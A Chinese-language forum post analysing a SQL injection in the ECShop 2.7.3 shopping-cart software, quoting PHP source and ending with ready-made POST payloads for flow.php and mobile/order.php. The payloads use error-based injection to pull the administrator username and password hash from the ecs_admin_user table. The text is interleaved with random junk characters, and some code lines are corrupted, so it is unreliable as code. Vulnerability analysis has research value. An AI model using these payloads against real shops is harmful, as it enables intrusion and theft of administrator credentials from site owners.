前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
0 J* K7 ]# M' D" j# Y2 u5 o- U9 L8 B
漏洞关键文件:
5 ^( M" r# M0 o
( y4 l p! @* F% s- H/ K /includes/lib_order.php+ T# r: ~ g+ G! i9 H2 A. p
8 z3 Z. x. K; `5 f8 Q8 ^
关键函数:
: ~4 g3 F' s) [6 H8 {. R
6 {, M/ P9 O2 I9 E9 V) L8 _ % k( J! `. M/ h+ L4 a) u7 R* ^
* m% ]9 }& i+ o01 function available_shipping_list($region_id_list) $ D& C; c v' W* p! {% H$ z C
' ?7 |* Q6 J7 [7 s6 v$ h3 Y02 { ) w0 S5 V2 I7 r# T$ E# q: s
3 o: t$ B& d6 f" m' l7 w
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
9 W) F2 W% }: @- F
! q- S/ u. _+ }6 H04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . / l' x" w4 ^( H% y; w1 a
8 R/ u% R! ^+ V# r' ^0 d4 r7 A05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . $ m9 S; F8 D. T& Z
9 n# ~0 R9 z1 b$ e& C. ]. S) g4 Z+ m
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 1 N2 @. V, o! o- o& ?4 E) \
0 K9 s: P! P" G( T/ i" \07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 0 z5 I1 p# m2 m5 q# U) B
4 u F; j6 f; ^- J; w08 'WHERE r.region_id ' . db_create_in($region_id_list) . # f% d& o( K( e/ n/ N
6 K' O; O# X: z$ _3 T- L
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
+ ^7 Z" g5 b0 ?2 \( D8 a6 t5 v2 i/ R. A9 ?
10
* c- f8 O$ q1 D
4 m$ S" z9 {; i$ `* y- t11 return $GLOBALS['db']->getAll($sql);
) j% v3 \$ J; C
2 p P; }; S0 A, X12 } 6 r# ^& P0 Q2 w* A+ x8 B% }1 S
3 C" S$ K7 ]+ ]/ E5 [! I; B3 s显然对传入的参数没有任何过滤就带入了查询语句。
9 `4 I7 Z% @; t9 U
' L4 `6 o7 E* L! ?下面我们追踪这个函数在flow.php中:( R4 n, p0 `) i4 @) h
第531行:
3 H+ S, S" } ^0 r, S2 L9 Q- R6 {) v2 ~; ]" H8 o+ W6 K( t
1 $shipping_list = available_shipping_list($region);
% x3 G5 K Y8 w* |
, Q* p5 e& n/ w' x; Z( k
x6 t, b/ a' k; {, E+ p8 J3 t3 ^ s! W' e# X" g
) [3 [" E. c r" v8 O" ~
. z6 Y# v u* Z# p( h- O再对传入变量进行追踪:
5 X% {+ {9 H1 e4 [- x% V
2 q' Z( U# b9 ?/ J第530行: " M/ M4 f/ ^' k$ R# w/ s9 C% e: [6 R
, [6 v9 }$ { ~8 X
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
: M0 K& O) i) H2 ^/ v9 I$ X
# X9 O- s8 B/ g4 K- Y) z3 b' _1 B
7 N- h, ~ [8 \
6 u. |& z9 f- K% U ) J3 N! v2 I8 ?7 [# f
7 n" T2 c9 C- `( a/ R
第473行:
) p9 m6 \" i) x v# S N3 I8 g1 V) ^6 p) l! Y. H
1 $consignee = get_consignee($_SESSION['user_id']); 2 u, I% N3 G$ B- r1 S3 Y/ {" W
6 I2 p1 G8 p9 @. V' }0 E; K到了一个关键函数:/ V9 d9 }, E2 W3 o# r( U& `* K$ X% O
- j5 @8 p5 I. G; f1 ?( q
/includes/lib_order.php' l8 M6 Y8 |; Z' K3 u8 K
N b, ]5 x9 M! D u/ u; x
) E" o! i, N8 l: @, W, d1 n4 B9 p2 e3 F# Q/ o, c) z! M8 {+ y9 X" I8 z
0 a# n" j2 I2 U% F8 x) Z
7 L% P! X" N# |
01 function get_consignee($user_id) 0 H! }+ [* c$ r4 e, x$ m* A
0 W6 X+ D7 w5 Q& j+ f4 B6 \$ Y) a
02 { : r" h' n# j0 {# C- f: v" o1 [5 m
( G) [: i- D" o; _: L6 ?/ n
03 if (isset($_SESSION['flow_consignee'])) * g, o" e) q0 Q) q
- f( p2 ^" g0 ?$ R04 {
# r) V! R1 S' u% R' ]1 C
! m% ?' s m. i( c9 D# w05 /* 如果存在session,则直接返回session中的收货人信息 */
% b8 Z! N5 A5 n" ~( _$ ?) j8 M( N+ B4 ?: k9 y
06
8 a: ?: [9 u I! ~/ t' J8 z8 Z4 T& Y7 E6 l
07 return $_SESSION['flow_consignee']; $ `. j1 t, ~ ^9 e1 o
6 z2 U! J# |$ n# B! h5 b
08 } ' O) a" N: W% h
0 [) K0 Z' _4 K! }! f5 t09 else
" S3 z4 J- s% ]0 f( j/ d3 o' Q
% D( y& h& L: u0 o, w* E) O! s10 {
4 C9 B, m* V/ c' {, j, m, a6 f6 K' |. _# N
11 /* 如果不存在,则取得用户的默认收货人信息 */
3 p. [& J& f! e5 }) U2 i5 Y3 x+ D
& O) X. ^1 n! a0 u( d/ h12 $arr = array();
0 k' f' C( _# m( G
) M: q r0 ~# `) y/ x13
# C( {7 A( p1 M( J7 @8 ?; o* ]6 D5 C; L
14 if ($user_id > 0)
) n* K2 G j5 X/ O- i+ @6 _% g! P0 s& M1 Q2 }2 Z$ d. ?3 F" x
15 {
1 x9 @) h/ ~2 p' w% z- O; } N7 p% `! ~4 ^( \+ S
16 /* 取默认地址 */ / r9 c' d" s7 o& @, S& s: ~# _
& e0 b; c, C. h s
17 $sql = "SELECT ua.*". 3 J6 w( r6 N/ X& ~" T8 Z6 H2 i
5 `) o! P9 D$ @1 l0 A18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 5 Q! J% h" V* b8 c" J, P
9 r* o9 T& y& A% W) S8 n p. e5 w19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; - n: P9 P. _ x5 U
- Q2 C# l6 a) a20
. k' B& O' r$ a, \) o& X" i$ A
: `. m2 X* X* k: J& n- M21 $arr = $GLOBALS['db']->getRow($sql); 6 [( Y; F5 A# Y- h
- x; s# o) N. M G5 `22 } ( a2 F ~$ r3 i, q
+ l% b5 l2 v* U* ]23
. i4 ^8 n1 J/ x. X9 t9 ~5 V# E! A$ u% \6 H6 Y8 U
24 return $arr;
l# t! \0 k; U
) B( M* Q* D. U' r" F25 } 4 G& W8 R/ Q0 ]0 U& x
2 z% U1 k4 J; i0 d
26 } z" X, U7 f& p2 a1 ~$ v
5 Y8 R/ x% g& L: h& m% c) C3 T! K
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
% p# W( ^% p, ]6 x, }, g( f. F: G
5 i7 R$ f' a8 C/ a5 C% P+ s6 }
" p5 g, Y" h1 f3 {: C关键点:0 X- }! N4 Q+ u: z
5 W% q( H- ?) c$ Q2 ~+ [/ ]3 ]: B
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);( h0 z/ v. b# a3 L4 q
9 @/ Q& W' Y8 J) z+ l8 ~$ c这里对传入参数反转义存入$_SESSION中。
0 S* r0 b \& L$ P+ C$ x$ q9 a2 p) |& b/ b7 `
, x) y1 h' _: J4 {, V# ?+ D# D4 [. x( \1 Y3 O
然后看下:
2 m, k U$ ~, I- S* a! D% a: W
" V: d7 f( }& r3 \( w8 C ; l! h) j9 h5 E6 I! o' a
2 u% |7 n3 H% @* x ] 3 @1 D3 A# ^/ ?, J: ^' N4 H) r
2 @# Q' \5 o7 D9 k; e01 $consignee = array( : h3 N' g/ `$ b" ]
0 y& a7 _1 p P. [, |7 C
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
% ~" W {! |/ T- E" \% N( k
+ K5 ?2 G/ E) g, Y) X8 ^03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
1 ^ L. A! g% D1 o! }, f! Z) W0 g
9 k8 Z# ]+ f0 [" d( |) a3 L3 C& A04 'country' => empty($_POST['country']) ? '' _POST['country'], ! K2 N' G3 `* K5 a* U0 ]
. b; `* s7 o" e, C, f9 c' k05 'province' => empty($_POST['province']) ? '' _POST['province'], ; b3 B5 G1 J/ r9 l/ a$ Z' y) D; H. R
9 O9 `6 {! c& ~& V% O" i06 'city' => empty($_POST['city']) ? '' _POST['city'], - C" I. x" I9 Q" V. O
$ q3 Q+ C& b" ^& w' F+ ~7 u
07 'district' => empty($_POST['district']) ? '' _POST['district'], ! V, \6 r9 U/ C2 B
, X3 i4 v [' V9 s08 'email' => empty($_POST['email']) ? '' _POST['email'],
6 ` n2 p! w* f7 j; d2 c! S3 i0 ?7 I7 N! V
09 'address' => empty($_POST['address']) ? '' _POST['address'],
5 t% z: L! s; u
8 C9 k. l ]2 N8 E) r8 Y9 w10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
/ A% V. o# h! h# q" F, f
; k2 [$ }8 v3 o, ^/ d11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
- z, V5 I @$ D- u2 t& d5 e2 O3 W" S, i v" O
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
+ R2 W) C! M- C2 v) W: z# E* U- l/ ?, a# u, |! a5 l @* Q
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], . v7 b) r6 g7 r/ S8 j) w* `
8 P, t R( S a: [6 s3 _! L9 I
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
" R9 u$ w, K: }1 g
) s N9 \, w; Q) u: f9 b& C+ r5 ]- [15 );
7 s8 E" l9 z: O8 i3 ]- E7 E% i0 Z% t; |& d% }/ c, A
好了注入就这样出现了。
& u4 ^% ^) m) `! c9 Y( U' f6 N9 e0 Z
==================) L: j5 I' ~8 M& n$ R% z& m
! R1 X) u/ |) g$ C" Z
注入测试:3 D& P9 D/ D- V3 W* g+ c( v
U9 D' r) A y$ v- _$ Q
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& P4 _$ f. @1 e0 j! V. \' V V
- O" X" L1 Z0 d3 Z d( z测试程序:ECShop_V2.7.3_UTF8_release1106
3 e$ R. v; E2 O/ L- G1 o: v% I2 z2 w
* z Y$ g& E0 G" @+ i0 [6 }; j. \5 K5 I( I
1.首先需要点击一个商品加入购物车# f! S* ~% v9 T5 Z# A1 q/ t" {$ W$ [
+ G" w$ p9 @' _6 m0 E7 u( S+ l5 c2 P
2.注册一个会员帐号
2 @! `! z' E0 i! J
# G$ J* A) F$ D3.post提交数据" c. s9 l- J; O8 J
# Q8 x6 K1 L# u/ @ 8 R3 P& W! c' z8 m' b' s
f( W" f, c: Z1 S1 http://127.0.0.1/ecshop/flow.php
) E) _" r3 B. R
6 q, i, N& u2 S# f2
5 q$ J: [+ W9 s, L
3 s3 v! z8 T2 v: h3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
& X( F" b1 H, n6 \/ e( T7 [6 z' i举一反三,我们根据这个漏洞我们可以继续深入挖掘:
c* p( M$ ^ \& E1 E0 W) N+ R; r7 | y
我们搜寻关键函数function available_shipping_list()) ?" a1 d7 E1 F3 `
G% T2 p4 r# z7 i
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同' J# r* }$ W3 A
- Y. M" {- P! s* l9 _
利用exp:0 O- |* Y2 @9 X: W4 R) A
) p& U' \# n. _2 ]/ ?4 Q+ [7 n1 x1.点击一个商品,点击购买商标- y# \' _' T9 A0 L; g, `
3 K+ P* [: H, e. ~: t
2.登录会员帐号( L8 n3 z* ~8 r) i2 z6 G. p
: ?( z8 }8 S: f0 ?% ?6 s
3.post提交:, x+ t: f& o; P8 S" I q
7 s9 V+ J1 {/ `+ |5 v, G4 l% Chttp://127.0.0.1/ecshop/mobile/order.php) e5 B$ Q. _& o# Y7 ?& f7 I& W
( Y X1 z3 W! w, U( E- G
+ z& L! W! f6 E6 l) C
" E7 _; D1 i! A# q* W4 ^country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
3 U; f) W! j7 I8 f$ f% A" J' \# g! C) P2 m* o0 i8 B5 Y
|